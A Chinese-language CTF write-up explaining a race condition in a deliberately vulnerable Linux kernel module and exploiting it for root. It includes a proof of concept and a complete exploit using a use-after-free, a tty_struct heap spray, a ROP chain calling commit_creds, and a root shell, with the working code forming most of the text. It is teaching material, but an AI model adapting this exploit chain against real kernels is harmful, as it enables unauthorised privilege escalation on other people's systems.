通过条件竞争实现内核提权 | xxx通过条件竞争实现内核提权 – xxx
菜单

通过条件竞争实现内核提权

十月 25, 2023 - 安全脉搏

条件竞争漏洞(Race Condition Vulnerability)是一种在多线程或多进程并发执行时可能导致不正确行为或数据损坏的安全问题。这种漏洞通常发生在多个线程或进程试图访问和修改共享资源(如内存、文件、网络连接等)时,由于执行顺序不确定或没有适当的同步措施,导致竞争条件的发生并且条件竞争在内核中也经常出现。

LK01-4

这里以一道例题作为例子介绍条件竞争在内核中的利用。

open模块

题目链接:https://github.com/h0pe-ay/Kernel-Pwn/tree/master/LK01-4/LK01-4

open模块相较于LK01-3增加了锁的判断,当执行过open模块之后,mutex会被设置为1,这样可以避免第二次执行open模块时,有两个文件描述符指向同一块内存。

static int module_open(struct inode *inode, struct file *file)
{
 printk(KERN_INFO "module_open calledn");

 if (mutex) {
   printk(KERN_INFO "resource is busy");
   return -EBUSY;
 }
 mutex = 1;

 g_buf = kzalloc(BUFFER_SIZE, GFP_KERNEL);
 if (!g_buf) {
   printk(KERN_INFO "kmalloc failed");
   return -ENOMEM;
 }

 return 0;
}

例如以下代码,连续执行两遍open模块时,第二次执行会返回-1

#include <stdio.h>
#include <fcntl.h>
int main()
{
   int fd1 = open("/dev/holstein",O_RDWR);
   printf("fd1:%dn",fd1);
   
   int fd2 = open("/dev/holstein",O_RDWR);
   printf("fd2:%dn",fd2);
   
}

通过条件竞争实现内核提权

单线程下执行的流程如下。

通过条件竞争实现内核提权

但是上述情况会在多线程的情况下出现潜在的问题。由于线程1与线程2会切换执行,那么就有可能会出现以下情况,在线程1执行open模块时,在处于判断mutex = 1这个赋值操作之前,而在mutext == 1这个判断语句之后切换到线程2,那么线程2在执行mutext == 1时,线程1还没有完成赋值操作,因此线程2会认为是第一次执行open模块,从而获得指向g_buf的文件描述符,而在线程2切回到线程1时,由于此时线程1已经指向完判断语句了,因此也会成功获取指向g_buf的文件描述符,因此会构成存在两个指针指向同一块区域的情况,从而造成后续的UAF漏洞的利用。


【帮助网安学习,以下所有学习资料免费领!领取资料加 we~@x:yj009991,备注 “安全脉搏” 获取!】
① 网安学习成长路径思维导图
② 60 + 网安经典常用工具包
③ 100+SRC 漏洞分析报告
④ 150 + 网安攻防实战技术电子书
⑤ 最权威 CISSP 认证考试指南 + 题库
⑥ 超 1800 页 CTF 实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP 客户端安全检测指南(安卓 + IOS)


通过条件竞争实现内核提权

POC

为了验证上述的可能性,我们需要创建两个线程并且两个线程需要不断的调用open模块。我们需要注意以下几点。

#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <pthread.h>
#include <string.h>
int success = 0;
void *thread_function(void *arg) {
   while(1)
   {
       while (!success)
       {
           int fd = open("/dev/holstein",O_RDWR);
           if (fd == 4)
               success = 1;
           if (fd != -1 && success == 0)
               close(fd);
       }
       if (write(3, "a", 1) != 1 || write(4, "a", 1) != 1)
       {
           close(3);
           close(4);
           success = 0;
       }
       else
           break;
   }
   
}

int main()
{
   pthread_t thread_id1, thread_id2;
   if (pthread_create(&thread_id1, NULL, thread_function, NULL) != 0)
   {
       fprintf(stderr, "thread errorn");
       return 1;
   }
   if (pthread_create(&thread_id2, NULL, thread_function, NULL) != 0)
   {
       fprintf(stderr, "thread errorn");
       return 1;
   }
   pthread_join(thread_id1, NULL);
   pthread_join(thread_id2, NULL);
   char temp[0x20]= {};
   write(3, "abcdefg", 7);
   read(4, temp, 7);
   if (strcmp(temp, "abcdefg"))
   {
       puts("failn");
       exit(-1);
   }
   printf("sucessn");
}

run.sh

这里可以看到-smp的选项为2,”-smp” 表示 “Symmetric MultiProcessing”,即对称多处理。在虚拟化环境中,这个参数用于设置虚拟机使用的虚拟处理器核心数量。在这种情况下,”-smp 2″ 表示将虚拟机配置为使用 2 个虚拟处理器核心,使其能够同时运行两个线程或进程。因此题目给的环境意在使用多线程竞争进行提权。

#!/bin/sh
qemu-system-x86_64
   -m 64M
   -nographic
   -kernel bzImage
   -append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on kaslr"
   -no-reboot
   -cpu qemu64,+smap,+smep
   -smp 2
   -monitor /dev/null
   -initrd initramfs.cpio.gz
   -net nic,model=virtio
   -net user
   -s

exp

因此提权的过程则是首先使用条件竞争的漏洞使得open模块执行两次,使得两个文件描述符指向同一个内存区域,接着关闭一个文件描述符使得UAF漏洞,并且分配大小属于tty结构体的范围内,因此通过堆喷使得tty结构体被控制,紧接着篡改ops指针为栈迁移的gadget地址,配合ioctl函数控制rdx寄存,将栈迁移到g_buf上,然后就是通过prepare_kernel_cred -> commit_creds -> swapgs_restore_regs_and_return_to_usermode的序列完成提权操作。

#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <pthread.h>
#include <string.h>

//0xffffffff81137da8: push rdx; add byte ptr [rbx + 0x41], bl; pop rsp; pop rbp; ret;
//0xffffffff810d5ba9: push rcx; or al, 0; add byte ptr [rax + 0xf], cl; mov edi, 0x8d480243; pop rsp; re
//0xffffffff810b13c5: pop rdi; ret;
//ffffffff81072580 T prepare_kernel_cred
//ffffffff810723e0 T commit_creds
//0xffffffff8165094b: mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; ret;
//0xffffffff81c6bfe0: pop rcx; ret;
//ffffffff81800e10 T swapgs_restore_regs_and_return_to_usermode
//0xffffffff810012b0: pop rcx; pop rdx; pop rsi; pop rdi; pop rbp; ret;

#define push_rdx_pop_rsp 0x137da8
#define pop_rdi_ret 0xb13c5
#define prepare_kernel_cred 0x72580
#define commit_creds 0x723e0
#define pop_rcx_ret 0xc6bfe0
#define mov_rdi_rax 0x65094b
#define swapgs_restore 0x800e10
#define pop_rcx_5 0x12b0

unsigned long user_cs, user_sp, user_ss, user_rflags;



void backdoor()
{
   printf("****getshell****");
   system("id");
   system("/bin/sh");
}

void save_user_land()
{
   __asm__(
       ".intel_syntax noprefix;"
       "mov user_cs, cs;"
       "mov user_sp, rsp;"
       "mov user_ss, ss;"
       "pushf;"
       "pop user_rflags;"
       ".att_syntax;"
   );
   puts("[*] Saved userland registers");
   printf("[#] cs: 0x%lx n", user_cs);
   printf("[#] ss: 0x%lx n", user_ss);
   printf("[#] rsp: 0x%lx n", user_sp);
   printf("[#] rflags: 0x%lx n", user_rflags);
   printf("[#] backdoor: 0x%lx nn", backdoor);
}

int success = 0;
void *thread_function(void *arg) {
   while(1)
   {
       while (!success)
       {
           int fd = open("/dev/holstein",O_RDWR);
           if (fd == 4)
               success = 1;
           if (fd != -1 && success == 0)
               close(fd);
       }
       if (write(3, "a", 1) != 1 || write(4, "a", 1) != 1)
       {
           close(3);
           close(4);
           success = 0;
       }
       else
           break;
   }
   
}
int main()
{
   pthread_t thread_id1, thread_id2;
   int spray[200];
   save_user_land();
   if (pthread_create(&thread_id1, NULL, thread_function, NULL) != 0)
   {
       fprintf(stderr, "thread errorn");
       return 1;
   }
   if (pthread_create(&thread_id2, NULL, thread_function, NULL) != 0)
   {
       fprintf(stderr, "thread errorn");
       return 1;
   }
   pthread_join(thread_id1, NULL);
   pthread_join(thread_id2, NULL);
   char temp[0x20]= {};
   write(3, "abcdefg", 7);
   read(4, temp, 7);
   printf("temp:%sn", temp);
   if (strcmp(temp, "abcdefg"))
   {
       puts("failuren");
       exit(-1);
   }
   if (!strcmp(temp,"abcdefg"))
   {
       printf("sucessn");
       close(4);
       for (int i = 0; i < 50; i++)
       {
           spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
           if (spray[i] == -1)
           {
               printf("error!n");
               exit(-1);
           }
       }
       char buf[0x400];
       read(3, buf, 0x400);
       unsigned long *p = (unsigned long *)&buf;
       for (unsigned int i = 0; i < 0x80; i++)
           printf("[%x]:addr:0x%lxn",i,p[i]);
       unsigned long kernel_address = p[3];
       unsigned long heap_address = p[7];
       if ((kernel_address >> 32) != 0xffffffff)
       {
           printf("leak error!n");
           exit(-1);  
       }
       else
           printf("leak   sucessn");
       unsigned long kernel_base = kernel_address - 0xc3afe0;
       unsigned long g_buf = heap_address - 0x38;
       printf("kernel_base:0x%lxng_buf:0x%lxn", kernel_base, g_buf);
       //getchar();    
       *(unsigned long *)&buf[0x18] = g_buf;
       p[0xc] = push_rdx_pop_rsp + kernel_base;
       //for (unsigned long i = 0xd; i < 0x80; i++)
       //  p[i] = g_buf + i;
       int index = 0x21;
       p[index++] = pop_rdi_ret + kernel_base;
       p[index++] = 0;
       p[index++] = prepare_kernel_cred + kernel_base;
       p[index++] = pop_rcx_5 + kernel_base;
       p[index++] = 0;
       p[index++] = 0;
       p[index++] = 0;
       p[index++] = 0;
       p[index++] = 0;
       p[index++] = mov_rdi_rax + kernel_base;
       p[index++] = commit_creds + kernel_base;
       p[index++] = swapgs_restore + kernel_base + 22;
       p[index++] = 0;
       p[index++] = 0;
       p[index++] = (unsigned long)backdoor;
           p[index++] = user_cs;
           p[index++] = user_rflags;
           p[index++] = user_sp;
           p[index++] = user_ss;      
       write(3, buf, 0x400);  
       ioctl(4, 0, g_buf + 0x100);        
   }
   return 0;  
}

CPU Affinity(CPU 亲和性)

这里作者用了CPU Affinity提高了条件竞争的成功率,在如今多核的处理器下,我们可以将不同的线程绑定在不同的核上,使得线程进程不会进行来回切换的操作,提高执行效率。那么对应在这道题上,我们可以把线程1绑定在CPU 0上运行,线程2绑定在CPU 1上,那么使得线程1与线程2可以并行运行,那么触发漏洞的可能性会大大提升。

首先初始化CPU集合,然后将绑定到指定的核上,然后在线程内部通过sched_setaffinity 函数设置CPU 亲和性。

#define _GNU_SOURCE
#include <sched.h>

...
   cpu_set_t t1_cpu, t2_cpu;
   CPU_ZERO(&t1_cpu);
   CPU_ZERO(&t2_cpu);
   CPU_SET(0, &t1_cpu);
   CPU_SET(1, &t2_cpu);
...
   if (pthread_create(&thread_id1, NULL, thread_function, (void *)&t1_cpu) != 0)
   {
       fprintf(stderr, "thread errorn");
       return 1;
   }
   if (pthread_create(&thread_id2, NULL, thread_function, (void *)&t2_cpu) != 0)
   {
       fprintf(stderr, "thread errorn");
       return 1;
   }    

void *thread_function(void *arg) {
   cpu_set_t *cpu_set = (cpu_set_t  *)arg;
   int result = sched_setaffinity(gettid(), sizeof(cpu_set_t), cpu_set);
   ...
}    

  

本文作者:合天网安实验室

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/204137.html


Notice: Undefined variable: canUpdate in /var/www/html/wordpress/wp-content/plugins/wp-autopost-pro/wp-autopost-function.php on line 51